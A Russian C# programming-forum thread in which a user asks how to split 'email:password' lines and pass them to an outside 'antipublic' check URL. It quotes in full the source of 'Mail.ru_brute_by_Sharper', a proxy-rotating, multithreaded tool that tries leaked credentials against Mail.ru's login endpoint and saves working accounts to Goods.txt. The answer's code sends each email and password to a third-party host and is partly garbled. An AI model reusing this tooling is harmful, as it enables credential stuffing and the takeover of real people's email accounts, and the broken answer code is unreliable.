.NET 4.x Извлечь подстроки из строк после string.split - C#
Формулировка задачи:
Добрый вечер, народ помогите пожалуйста я где-то находил пример даже адаптировал в свой код когда тестировал, но потом намутил там дальше и у меня перестало всё работать, а после компиляции сохранился новый код и я потерял, тот где у меня всё работало. Суть такова у менять есть текстовый файл с имейлами.
строки вида
removed@mail.ru:123
removed@mail.ru;5345
По идее
Должно разделить файл который я загрузил на первую подстроку до символа @ вторую до символа : и третью после символа :
Мучаюсь вопросом как теперь мне извлечь для дальнейшей работы. То есть мне как-нибудь их надо извлечь и добавить в переменные. Может кто поможет как это можно реализовать, благодарю заранее.
Делал по образу вот этой программы только там на викинг енджин, я вот и не могу понять откуда там переменные стринг mail, domain, pass , или они были из библиотеки викинг енджина взяты ?
accs.Split('@', ':');WebRequest reqGet = WebRequest.Create(@"http://demo26.ru/check.php?"+логин(1подстрока из сплита)+домен(2построка из сплита+пароль(3подстрока из сплита));
private static Queue<string> _source = new Queue<string>();
private void button1_Click(object sender, EventArgs e)
{
String time = DateTime.Now.ToString("yyyy.MM.dd_HH-mm-ss");
var path = Directory.CreateDirectory("Antipublic" + time);
var open = new OpenFileDialog
{
InitialDirectory = Application.StartupPath,
Filter = @"Текстовые файлы|*.txt"
};
if (open.ShowDialog() != DialogResult.OK) MessageBox.Show(@"Файл не выбран");
_source = new Queue<string>(File.ReadAllLines(open.FileName));
label1.Text = _source.Count().ToString(CultureInfo.InvariantCulture);
string accs = string.Empty;
accs = _source.Dequeue();
if (accs.Contains(":"))
{
accs.Split('@', ':');
File.Create(path + "Паблик " + "(" + time + ")" + ".txt");
}
else if (accs.Contains(";"))
{
accs.Split('@', ';');
}
}
}
}using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;
using ViKing.Engine;
using ViKing.Engine.GUI;
namespace Mail.ru_brute_by_Sharper
{
public partial class Mail : Form
{
public Mail()
{
InitializeComponent();
Application.ThreadException += (obj, e) => ExceptionDialog.Show(e.Exception);
}
public bool work = false;
static object lockers = new object();
public int all = 0;
private static Queue<string> source = new Queue<string>();
Queue<Proxy> proxies = new Queue<Proxy>();
Queue<Proxy> loadsproxy = new Queue<Proxy>();
JobManager manager;
int errors = 0;
JobManager managerProxy;
private void threadbox_ValueChanged(object sender, EventArgs e)
{
try
{
if (manager != null) manager.PreferredThreadCount = (int)threadbox.Value;
}
catch { }
}
public void WorkMail(string mail, string domain, string pass)
{
try
{
Proxy p = null;
if (useproxy.Checked)
{
lock (lockers)
{
if (proxies.Count == 0)
{
work = false; MessageBox.Show("Закончились прокси !"); return;
}
else p = proxies.Dequeue();
}
}
ViKing.Engine.CookieCollection cokis = new ViKing.Engine.CookieCollection();
string headers = string.Empty;
if (useproxy.Checked)
{
headers = Convert.ToString(VkRequest.Request(@"http://win.mail.ru/cgi-bin/auth?Login=" + mail + "&Domain=" + domain + "&Password=" + pass, proxy: p, FollowRedirects: false, cookies: cokis, method: "POST").Headers);
}
else
{
headers = Convert.ToString(VkRequest.Request(@"http://win.mail.ru/cgi-bin/auth?Login=" + mail + "&Domain=" + domain + "&Password=" + pass, FollowRedirects: false, cookies: cokis, method: "POST").Headers);
}
if (useproxy.Checked)
{
Invoke(new System.EventHandler(delegate
{
proxies.Enqueue(p);
}));
}
if (headers.Contains("Mpop="))
{
Invoke(new System.EventHandler(delegate
{
goodslabel.Text = Convert.ToString(Convert.ToInt32(goodslabel.Text) + 1);
System.IO.File.AppendAllText("Goods.txt", mail + "@" + domain + ":" + pass + "\r\n");
goodsbox.AppendText(mail + "@" + domain + ":" + pass + "\r\n");
}));
}
else
{
Invoke(new System.EventHandler(delegate
{
badslabel.Text = Convert.ToString(Convert.ToInt32(badslabel.Text) + 1);
}));
}
}
catch
{
return;
}
}
public void working()
{
while (work)
{
try
{
string accs = string.Empty;
lock (lockers)
{
if (source.Count == 0)
{
work = false;
manager.StopJob("Завершили работу.");
return;
}
else
accs = source.Dequeue();
}
string[] mailAcc = null;
if (accs.Contains(":"))
{
mailAcc = accs.Split('@', ':');
}
else if (accs.Contains(";"))
{
mailAcc = accs.Split('@', ';');
}
Invoke(new System.EventHandler(delegate
{
pro.Text = Convert.ToString(Convert.ToInt32(pro.Text) + 1);
}));
WorkMail(mailAcc[0], mailAcc[1], mailAcc[2]);
}
catch
{ continue; }
}
}
private void load_base_Click(object sender, EventArgs e)
{
try
{
using (OpenFileDialog op = new OpenFileDialog()
{
InitialDirectory = Application.StartupPath,
FileName = String.Empty,
Filter = "Text Files|*.txt"
})
{
if (op.ShowDialog() == DialogResult.OK)
{
source = new Queue<string>(File.ReadAllLines(op.FileName));
all = (source.Count);
alls.Text = Convert.ToString(all);
MessageBox.Show(this, "Загрузили " + source.Count + " аккаунтов !", "Mail brute - source", MessageBoxButtons.OK, MessageBoxIcon.Asterisk);
}
}
}
catch
{ }
}
public void checkproxy()
{
while (true)
{
try
{
Proxy p = null;
lock (lockers)
{
if (loadsproxy.Count == 0)
{
managerProxy.StopJob("");
break;
}
else p = loadsproxy.Dequeue();
}
string headers = Convert.ToString(VkRequest.Request(@"http://win.mail.ru/cgi-bin/auth?Login=CheckerProxy&Domain=mail.ru&Password=sharperforsharper", proxy: p, FollowRedirects: false, method: "POST").Headers);
if (headers.Contains("Mpop="))
{
Invoke(new System.EventHandler(delegate
{
proxies.Enqueue(p);
}));
}
}
catch
{ }
}
}
private void Mail_FormClosing(object sender, FormClosingEventArgs e)
{
try
{
work = false;
Application.Exit();
managerProxy.StopJob("");
manager.StopJob("Завершаем работу.");
}
catch { Application.Exit(); }
}
private void stop_Click(object sender, EventArgs e)
{
try
{
work = false;
manager.StopJob("Завершаем работу.");
}
catch { }
}
private void worktime_Tick(object sender, EventArgs e)
{
try
{
if (manager != null) threadslabel.Text = Convert.ToString(manager.ThreadCount);
proxylabel.Text = Convert.ToString(proxies.Count);
}
catch { return; }
}
private void start_Click(object sender, EventArgs e)
{
try
{
pro.Text = "0";
goodslabel.Text = "0";
badslabel.Text = "0";
ViKing.Engine.VkRequest.Timeout = 10000;
goodsbox.Clear();
if (source.Count == 0)
{
MessageBox.Show(this, "Не найдено аккаунтов, не возможно начать работу.", "Mail brute - source", MessageBoxButtons.OK, MessageBoxIcon.Stop);
return;
}
else
{
if (useproxy.Checked)
{
if (proxies.Count == 0)
{
MessageBox.Show(this, "Не найдено проксей, не возможно начать работу.", "Mail brute - proxy", MessageBoxButtons.OK, MessageBoxIcon.Stop);
return;
}
else
{
work = true;
manager = new JobManager(working);
manager.PreferredThreadCount = (int)threadbox.Value;
manager.JobCompleted += (obj, args) => { MessageBox.Show(args.Reason + "\r\n"); };
manager.Start();
}
}
else
{
work = true;
manager = new JobManager(working);
manager.PreferredThreadCount = (int)threadbox.Value;
manager.JobCompleted += (obj, args) => { MessageBox.Show(args.Reason + "\r\n"); };
manager.Start();
}
}
}
catch { return; }
}
private void load_proxy_Click(object sender, EventArgs e)
{
try
{
var d = new OpenFileDialog();
d.InitialDirectory = Application.StartupPath;
d.FileName = String.Empty;
d.Filter = "HTTP прокси|*.txt|Socks4 прокси|*.txt|Socks5 прокси|*.txt";
if (d.ShowDialog() == DialogResult.OK)
{
loadsproxy.Clear();
proxies.Clear();
ProxyTypes type = ProxyTypes.HTTP; ;
type = ProxyTypes.HTTP;
switch (d.FilterIndex)
{
case 1: type = ProxyTypes.HTTP; break;
case 2: type = ProxyTypes.Socks4; break;
case 3: type = ProxyTypes.Socks5; break;
default: type = ProxyTypes.HTTP; break;
}
string[] file = File.ReadAllLines(d.FileName);
if (usecheckproxy.Checked)
{
foreach (var line in file)
try { loadsproxy.Enqueue(new Proxy(line, type)); }
catch { }
MessageBox.Show(this, "Успешно загрузили " + loadsproxy.Count + " проксей типа: " + type.ToString(), "Mail brute - proxy", MessageBoxButtons.OK, MessageBoxIcon.Asterisk);
managerProxy = new JobManager(checkproxy);
managerProxy.PreferredThreadCount = 100;
managerProxy.JobCompleted += (obj, args) => { MessageBox.Show(args.Reason + "\r\n"); };
managerProxy.Start();
}
else
{
foreach (var line in file)
try { proxies.Enqueue(new Proxy(line, type)); }
catch { }
MessageBox.Show(this, "Успешно загрузили " + proxies.Count + " проксей типа: " + type.ToString(), "Mail brute - proxy", MessageBoxButtons.OK, MessageBoxIcon.Asterisk);
}
}
}
catch { }
}
private void useproxy_CheckedChanged(object sender, EventArgs e)
{
if (useproxy.Checked)
{
load_proxy.Enabled = true;
usecheckproxy.Enabled = true;
}
else
{
load_proxy.Enabled = false;
usecheckproxy.Enabled = false;
}
}
}
}Решение задачи: «.NET 4.x Извлечь подстроки из строк после string.split»
textual
Листинг программы
WebRequest reqGet =
WebRequest.Create(@"http://demo26.ru/check.php?" + "mail=" + strsplit[i] + "@" + strsplit[i + 1] +
"&pass=" + strsplit[i + 2] + "&add=" + param);
var resp = reqGet.GetResponse();
var stream = resp.GetResponseStream();
if (stream != null)
{
var sr = new StreamReader(stream);
var s = sr.ReadToEnd();
textBox1.Text = s;
if (s.Contains("PUBLIC"))
{
File.Create("bad.txt");
}
else
{
if (s.Contains("PRIVATE")) ;
File.Create("good.txt").;
}